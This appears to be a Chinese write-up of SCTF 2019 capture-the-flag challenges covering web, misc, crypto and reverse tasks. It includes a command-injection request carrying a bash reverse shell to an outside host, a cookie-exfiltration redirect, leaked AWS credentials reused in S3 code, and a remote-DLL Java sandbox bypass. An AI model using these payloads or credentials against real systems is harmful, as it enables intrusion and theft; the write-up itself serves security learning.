前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SCTF WriteUp

SCTF WriteUp

作者头像
ChaMd5安全团队
发布2019-07-08 23:21:31
1.1K0
发布2019-07-08 23:21:31
举报

Web

math-is-fun1

解题思路

这里有变量覆盖:

可以覆盖全局变量:

使用跳转方式绕过 CSP: location.href=`//xxx.xxx.xxx.xxx/?${document.cookie}`


easy-web

解题思路

前端 Vue,使用 webpack 打包,没有删除 .map 文件,恢复前端源码:

发现 NodePack.Vue 中的 /upload 传接口,key 为: abcdefghiklmn123

可在未登录的情况下访问该接口:

可能的思路:

思路1:server 端使用的是 npm install xxx xxx xxx

npm 支持直接安装远程 npm 包的方式

npm install git+ssh://git@github.com:xxx/xxx.git#master --save-dev
npm install git+ssh://git@github.com:npm/npm.git#v1.0.27
npm install git+https://isaacs@github.com/npm/npm.git
npm install git://github.com/npm/npm.git#v1.0.2

会不会URL的地方直接能命令执行?

思路2:或者是加载自己的 npm 包,然后尝试读本地文件或者反弹 shell ?

https://docs.npmjs.com/misc/scripts

preinstall: Run BEFORE the package is installed
install, postinstall: Run AFTER the package is installed

利用 preinstall 或者 install 或者 postinstall 让这个包在安装的时候,执行包里的脚本

思路1 尝试:

可以命令执行

POST /upload HTTP/1.1
Host: sctf2019.l0ca1.xyz
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 119




{"key":"abcdefghiklmn123", "npm":["http://d.dnslog.cc/sctf2019/aaa.git?a=`bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/7727 0>&1`"] 可以反弹 shell,没找到 flag, 环境变量如下: AWS_LAMBDA_FUNCTION_VERSION=$LATEST
AWS_SESSION_TOKEN=AgoJb3JpZ2luX2VjEH0aDmFwLW5vcnRoZWFzdC0xIkYwRAIgMGsCOi5KSvQRM2sP/SHKAmHiF0qQQImI8xRIYkdwE7ECIDahKwbNkCM7GeyU+GwQftqdHVY4R8DiOrvx+n2JtK9lKokCCLb//////////wEQABoMODk4ODI5NjM2NzYyIgzfFEGdud2jZ17D5fwq3QHoeXy+deg+LFhxa54uTOZlR966/Jk6zuoK85SBa0RG0v8NlBYOYqaT1EBnhvl6sh7GKiyuzBUuHbA64V8T4eeMNt04MG3/YpKaRMJzCxC/RijNPDUjXD0oh/YcM7wDhZbO8pzUzubKHys84H1T6eDbFVstMGtUPeoe4z0xfJN/TTPO8SQ2IJYD2oToJk0rrOnpktWxgTMEJgeYx5kxPaEKxAK0ZOzXHUDwzE56blub9RGI0/LLylYDIXyx5d1AV6ypzeYl0aV+mcL9O9urGp4i/gkevgnadnORguBmpDDa4rboBTq1AWtsIOXozs98y4Yw4v1Et1xea/AA+Ulq/uBFbvOBL3PMzUz/PqgUWiTQBOiRI8gq8yyxfoNLJA8A3ipzT0Wm67XbsKvDNnmfZT5zQOagtPXq3J3yR8+zKbodxwLLxXReItunw8FAaYHk5VbQiTsuXbkqAhtmC+oZi3uiIyLSbK2co/FkGGSWH/JFh7uhAlb+Cl4bfoOdTg9p1HcQEBroZ9dnP7wdgVRFD1vUnJx8yRngghnfiCA=
AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/sctf
LAMBDA_TASK_ROOT=/var/task
LD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib
AWS_LAMBDA_LOG_STREAM_NAME=2019/06/22/[$LATEST]e12b1b315f6b4636b4665ffe25aa5123
AWS_EXECUTION_ENV=AWS_Lambda_nodejs8.10
AWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000
AWS_LAMBDA_FUNCTION_NAME=sctf
PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin
AWS_DEFAULT_REGION=ap-northeast-1
PWD=/tmp/gqm5A40H3WSwKvc8akBI
AWS_SECRET_ACCESS_KEY=XxEWYXlnNjVdeesn4mEBiyTXuTUtDW9pQY2aYRFy
LAMBDA_RUNTIME_DIR=/var/runtime
LANG=en_US.UTF-8
NODE_PATH=/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules
AWS_REGION=ap-northeast-1
TZ=:UTC
AWS_ACCESS_KEY_ID=ASIA5CRTL2SNIBLFAVHT
SHLVL=3
_AWS_XRAY_DAEMON_ADDRESS=169.254.79.2
_AWS_XRAY_DAEMON_PORT=2000
_X_AMZN_TRACE_ID=Root=1-5d0db9c8-8f3f5704d2474f7cacfcae04;Parent=19b6a2ec32e2b773;Sampled=0
AWS_XRAY_CONTEXT_MISSING=LOG_ERROR
_HANDLER=index.handler
AWS_LAMBDA_FUNCTION_MEMORY_SIZE=1856

观察到几次反弹 shell 连过来的 IP 都不一样,猜想 flag 可能在 AWS S3 上

const AWS = require("aws-sdk");
const cfg = {
    "Bucket": "static.l0ca1.xyz",
    "host": "static.l0ca1.xyz",
}
const s3Parme = {
    accessKeyId: "ASIA5CRTL2SNIBLFAVHT",
    secretAccessKey: "XxEWYXlnNjVdeesn4mEBiyTXuTUtDW9pQY2aYRFy",
sessionToken: 'AgoJb3JpZ2luX2VjEH0aDmFwLW5vcnRoZWFzdC0xIkYwRAIgMGsCOi5KSvQRM2sP/SHKAmHiF0qQQImI8xRIYkdwE7ECIDahKwbNkCM7GeyU+GwQftqdHVY4R8DiOrvx+n2JtK9lKokCCLb//////////wEQABoMODk4ODI5NjM2NzYyIgzfFEGdud2jZ17D5fwq3QHoeXy+deg+LFhxa54uTOZlR966/Jk6zuoK85SBa0RG0v8NlBYOYqaT1EBnhvl6sh7GKiyuzBUuHbA64V8T4eeMNt04MG3/YpKaRMJzCxC/RijNPDUjXD0oh/YcM7wDhZbO8pzUzubKHys84H1T6eDbFVstMGtUPeoe4z0xfJN/TTPO8SQ2IJYD2oToJk0rrOnpktWxgTMEJgeYx5kxPaEKxAK0ZOzXHUDwzE56blub9RGI0/LLylYDIXyx5d1AV6ypzeYl0aV+mcL9O9urGp4i/gkevgnadnORguBmpDDa4rboBTq1AWtsIOXozs98y4Yw4v1Et1xea/AA+Ulq/uBFbvOBL3PMzUz/PqgUWiTQBOiRI8gq8yyxfoNLJA8A3ipzT0Wm67XbsKvDNnmfZT5zQOagtPXq3J3yR8+zKbodxwLLxXReItunw8FAaYHk5VbQiTsuXbkqAhtmC+oZi3uiIyLSbK2co/FkGGSWH/JFh7uhAlb+Cl4bfoOdTg9p1HcQEBroZ9dnP7wdgVRFD1vUnJx8yRngghnfiCA='}
var s3 = new AWS.S3(s3Parme);
data = s3.getObject({
    Bucket: cfg.Bucket,
    Key: `flaaaaaaaaag/flaaaag.txt`,
}).promise().catch(e => {
    console.log(e);
    return;
}).then((e) => {
    console.log(e.Body.toString())
});

或者直接 s3 cp 到本地来:


babyEoP

访问后是一个 jsp webshell

password 123456

进去之后发现执行命令、写文件等权限都被禁止,根据页面报错可以看出来, 开启了 java SecurityManager

也就是启动 tomcat 的时候,加了 -security 参数

JSM 可在代码层创建,也可在配置文件里通过 policy 创建,代码是个 webshell 肯定没这玩意儿,于是读一下策略文件: C:/babyEoP/apache-tomcat-8.5.42/conf/catalina.policy

JSM 策略走的是白名单机制,没列出来的权限就代表没有。

WEB-INF/lib/ 目录下有个 common-collection-3.1.jar 这个 jar 是有反序列化漏洞的版本

在 webshell 里面找到一段和反序列化有关的地方:

生成一个 URLDNS 的 EXP

发送

URLDNS收到了,证明可以反序列化

ysoserial 已公开的可在这个版本里使用的 EXP:


CommonsCollections1    commons-collections:3.1
CommonsCollections3    commons-collections:3.1
CommonsCollections5    commons-collections:3.1
CommonsCollections6    commons-collections:3.1
CommonsCollections7    commons-collections:3

尝试生成执行命令的exp,结果就是肯定不成功,因为 JSM 存在的原因。

现在的思路就转变为,绕过JSM

META-INF/MANIFEST.MF

Manifest-Version: 1.0
Built-By: Jaylin
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_162

AnnotationInvocationHandler,BadAttributeValueExpException: 都受到限制不能利用

注意到之前的 policy 文件里,给了 createClassLoader 权限,参才这篇绕过 JSM 的文章:

https://www.anquanke.com/post/id/151398#h3-7

因为我们没有写权限(临时目录都没权限),所以需要通过远程加载的方式,这里使用 URLClassLoader 来远程加载 jar 包完成

魔改 ”ysoserial“CommonsCollections6 的 transformers ,把 java.lang.Runtime.exec 改成 java.net.URLClassLoader 就可以加载远程 jar 包了

恶意 class :

public class V {

    static {
        System.load("\\\\ip\\ant.dll");
    }

    public static native String exec(String cmd);

    public V(String cmd) {
    }

    public static void main(String[] args) {
    }

这里的 ant.dll 是 Yan 表哥的黑科技

有了写权限,就可以为所欲为的挂黑页


babyEoP2

为所欲为?


flag shop

题目附件

解题思路

推荐chrome浏览器访问。

访问/robots.txt得到/filebak,访问就是源码

这里有模版注入,输入 <%=$0%> 就能看到文件名

从代码里可以知道一共限制了7个字符,看看有哪些可以用到的全局变量:

这个只是跑出来一段序列,多次跑了脚本之后,发现 75c8 是结尾巴,于是倒着来跑:

跑出来之后,去 jwt.io 重新加密一个 token 去买 flag

解密后得 flag

下面是这道题的彩蛋 时间:

可以RCE反弹 shell:

改一下题目的模版:

Misc

头号玩家

解题思路

.net逆向

躲开飞行物一直冲到底就完事了(看不见飞机了也要继续向前)


Maaaaaaze

题目附件:

https://adworld.xctf.org.cn/media/uploads/task/18908dd2a94b4b1fa9e4560257aea844.zip

解题思路

按道理两次bfs就行,这个最后跑出来226不对。可能哪儿漏了什么吧。

#include<cstdio>
#include<cstring>
#include<algorithm>
#include<queue>
#include<set>
using namespace std;
int n,m,sum,ex,ey;
int map[1010][1010];
int vis[1010][1010];
int d[4][2]={1,0,0,1,-1,0,0,-1};
set<int>s;
bool judge(int x,int y,int x1,int y1)
{
    //分类讨论
    int nextx=x+x1;
    int nexty=y+y1;
    if(nextx>=0&&nextx<m&&nexty>=0&&nexty<n)
    {
        if(x1==0 && y1==-1){
            if(map[nextx][nexty]!=(map[nextx][nexty]|4) && vis[nextx][nexty]==0)
                return true;
        }
        if(x1==-1 && y1==0){
            if(map[nextx][nexty]!=(map[nextx][nexty]|8) && vis[nextx][nexty]==0)
                return true;
        }
        if(x1==0 && y1==1){
            if(map[nextx][nexty]!=(map[nextx][nexty]|1) && vis[nextx][nexty]==0)
                return true;
        }
        if(x1==1 && y1==0){
            if(map[nextx][nexty]!=(map[nextx][nexty]|2) && vis[nextx][nexty]==0)
                return true;
        }
    }
    return false;
}
struct node
{
    int x,y,step;
}now,next1;
void bfs(int sx,int sy)
{
    queue<node>q;
    memset(vis,0,sizeof(vis));
    vis[sx][sy]=1;
    now.x=sx;
    now.y=sy;
    now.step=0;
    sum=0;
    q.push(now);
    while(!q.empty())
    {
        now=q.front();
        q.pop();
        for(int i=0;i<4;i++)
        {
            next1.x=now.x+d[i][0];
            next1.y=now.y+d[i][1];
            if(judge(now.x,now.y,d[i][0],d[i][1]))
            {
                    next1.step=now.step+1;
                    vis[next1.x][next1.y]=1;
                    if(sum<next1.step)
                    {
                        sum=next1.step;
                        ex=next1.x;//记录中间的端点值
                        ey=next1.y;
                    }
                    q.push(next1);
            }
        }
    }
    
}
using namespace std;
int main()
{
    int t,sx,sy;
    scanf("%d",&t);
    while(t--)
    {
        scanf("%d,%d",&n,&m);
        for(int i=0;i<m;i++)
            for(int j=0;j<m;j++)
                scanf("%d",&map[i][j]);
        // for(int i=0;i<m;i++){
        //     for(int j=0;j<m;j++)
        //         printf("%d",map[i][j]);
        //     printf("\n");
        // }


        for(int i=0;i<n;i++)
        {
            for(int j=0;j<m;j++)
            {
                if(map[i][j]!=15)
                {
                sx=i;
                sy=j;
                // memset(vis,0,sizeof(vis));
                // sum=-1;
                sum=0;
                ex=0;
                ey=0;
                bfs(sx,sy);
                // sum=-1;
                bfs(ex,ey);
                if(sum> 220)
                printf("%d,%d   %d %d ,Maximum rope length is %d.\n",ex,ey, i,j,sum);
                s.insert(sum);
                // break;
                // break;
                }
            }
        }
        set<int>::iterator it;
    for(it=s.begin ();it!=s.end ();it++)
    {
        printf("%d\n",*it);
    }
        // bfs(sx,sy);
        // bfs(ex,ey);
        // printf("Maximum rope length is %d.\n", sum);
    }
    return 0;

打开电动车

题目附件:

https://adworld.xctf.org.cn/media/uploads/task/3d93f0c47ad94e31882e0a670eb6f5cf.zip

解题思路

使用au打开

短的为0,长的为1,输出来去掉前面校验位和后面验证码位得到 01110100101010100110

sctf{001110100101010100110}

Crypto

warmup

题目附件:

https://adworld.xctf.org.cn/media/uploads/task/cfb3dacd97b74e91bdcb4ba6cce3794e.zip

解题思路

这个题目server.py的代码缺陷主要是code函数加密的是strxor后的16个字节,而且忽略了输入msg的%16的余数。这让我们可以控制最后一个字节,以及使用重复的序列构造strxor后与代码给出的提示一样的AES原始输入。paylaod如下:

from pwn import *

a = 'see you at three o\'clock tomorrow'
b = 'please send me your flag'
c = 'see you '

msg = (b+c)*2 + a + '\x0f'*15 + '\x59'

r = remote('47.240.41.112', 12345)
data = r.recvline()
print data
data = data.split(':')[2][:-2]
print data
print r.recvuntil('message:')
r.sendline(msg.encode('hex'))
print r.recvuntil('code:')
r.sendline(data)
print r.recvline()
print r.rec

Reverse

Creakme

题目附件:

https://adworld.xctf.org.cn/media/uploads/task/24d02df55b0e4f9ab941e81e536cf951.zip

解题思路

这个题目在开始的时候有反调试,并且第二个函数有跳转去sctf段执行,对一个字符串进行变换。

直接在程序跑起来过后附加即可。然后就可以调了。

后面的算法是AES CBC 然后 base64 与目标串比较,那个CBC哪里我一直没注意,浪费了太多时间...

#coding=utf-8
from Crypto.Cipher import AES
import base64
import binascii


key="sycloversyclover"
cipher=AES.new(key,AES.MODE_CBC,IV="sctfsctfsctfsctf")
real_cipher="9ca9db1ec82a0f768d101f758c1de013302bf889254304f56d2b37f9b5e97aea"
d=cipher.decrypt(binascii.unhexlify(real_cipher))
print (d)

babyre

题目附件:

https://adworld.xctf.org.cn/media/uploads/task/e588401bffd14747b87809ba4181dc3b.zip

解题思路

分三部分校验

第一部分走迷宫

*****
*****
****.
****.
**s..
*..**
****.
****.
*****
*****
*..**
*..**
..#*.
.***.
.***.
*****
*****
*****
*****
.**..
*****
**..*
*...*
..*.*
.**.*

要求最短路径,本来我得出最短的应该是'sxss'。但提交flag时不对,最后用了'ddwwxxssxaxwwaasasyywwdd'。按出题人提及的hint,应该说是立方体表面的三维迷宫,那就要考虑实际情况了。因为没有穿墙术啊。(如果光说三维迷宫,感觉有歧义,如果不是立方体表面的那种迷宫,'sxss'就是对的了。)

第二部分是base64解码与常量串比较,直接'sctf_9102'进行base64编码

第三部分是异或运算。动态调试,直接将校验串逆序作为输入,即可解出此部分的原始输入(当时也可以把代码扒下来自己算)。


Strange apk 题目附件:

异或syclover,得到另一个apk。

30字节输入分2部分校验。第一部分base64;第二部分相当于明文校验。

>>> 'c2N0ZntXM2xjMG1l'.decode('base64')
'sctf{W3lc0me'

>>> a = '~8t808_8A8n848r808i8d8-8w808r8l8d8}8'
>>> len(a)
36
>>> s = ''
>>> for i in range(18):
...   s += a[2*i]
...
>>> s
'~t0_An4r0id-w0rld}'
>

music

题目附件:

https://adworld.xctf.org.cn/media/uploads/task/271a2c840f3041b98ff7fdda13c503ee.zip

解题思路

题目主要算法为变形的RC4。密钥为'hellosctf'的大写md5值。本来应该挺好弄的。但是由于有个'String(char[])的操作,让一切都变得很糟糕了。

最后的校验值'C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53'并不是真正的RC4加密后的hex串,据猜测因为上面提到的骚操作,加密串产生了变化 。其实原始输入可以爆一下。

小试了下,基本是C3后面的hex值+0x40就是一字节原始的加密串字节值,C2后面就是一字节原始的加密串字节值,小于0x80的是原始加密串字节值。整理后的加密hex串为:

8BDDE683B3DD9389B8FA9EE0E79A1654EF28E1B1215B53

调试后发现解密后有一字节不对,为sctf{IT_IS_A_NICE_6ONG}。

通过题目名,猜测最后为SONG},验证后通过。

DEFAULT_KEY = "\x59\xf3\x02\xc3\x25\x9a\x82\x30\x0b\xbb\x25\x7f\x7e\x3b\xd2\xdc"

def en_rc4(data, key=DEFAULT_KEY, skip=1024):
    x = 0
    box = range(256)
    
    x = 0
    for i in range(256):
        x = (x + box[i] + ord(key[i % len(key)])) % 256
        tmp = box[i]
        box[i] = box[x]
        box[x] = tmp
    
    x = 0
    y = 0
    out = []
    if skip > 0:
        for i in range(skip):
            x = (x + 1) % 256
            y = (y + box[x]) % 256
            box[x], box[y] = box[y], box[x]
	
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        k = box[(box[x] + box[x]) % 256]
        out.append(chr(((ord(char)-x) ^ k)%256))

    return ''.join(out)




def de_rc4(data, key=DEFAULT_KEY, skip=1024):
    x = 0
    box = range(256)
 
    x = 0
    for i in range(256):
        x = (x + box[i] + ord(key[i % len(key)])) % 256
        tmp = box[i]
        box[i] = box[x]
        box[x] = tmp

    x = 0
    y = 0
    out = []
    if skip > 0:
        for i in range(skip):
            x = (x + 1) % 256
            y = (y + box[x]) % 256
            box[x], box[y] = box[y], box[x]
	
    for char in data:
        x = (x + 1) % 256
        y = (y + box[x]) % 256
        box[x], box[y] = box[y], box[x]
        k = box[(box[x] + box[x]) % 256]
        out.append(chr(((ord(char)^k) + x )&0xff))
    return ''.join(out)

def main():
  res = de_rc4('8BDDE683B3DD9389B8FA9EE0E79A1654EF2882B1215B53'.decode('hex'),'E7E64BF658BAB14A25C9D67A054CEBE5',0)
  print res.encode('hex')
  print res
  print en_rc4('sctf{IT_IS_A_NICE_SONG}','E7E64BF658BAB14A25C9D67A054CEBE5',0).encode('hex')
  print 'end.'

if __name__ == '__main__'  main()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-06-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web
  • babyEoP2
  • flag shop
  • Misc
  • 头号玩家
  • Maaaaaaze
  • 打开电动车
  • Crypto
  • warmup
  • Reverse
  • Creakme
  • babyre
  • Strange apk 题目附件:
  • music
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档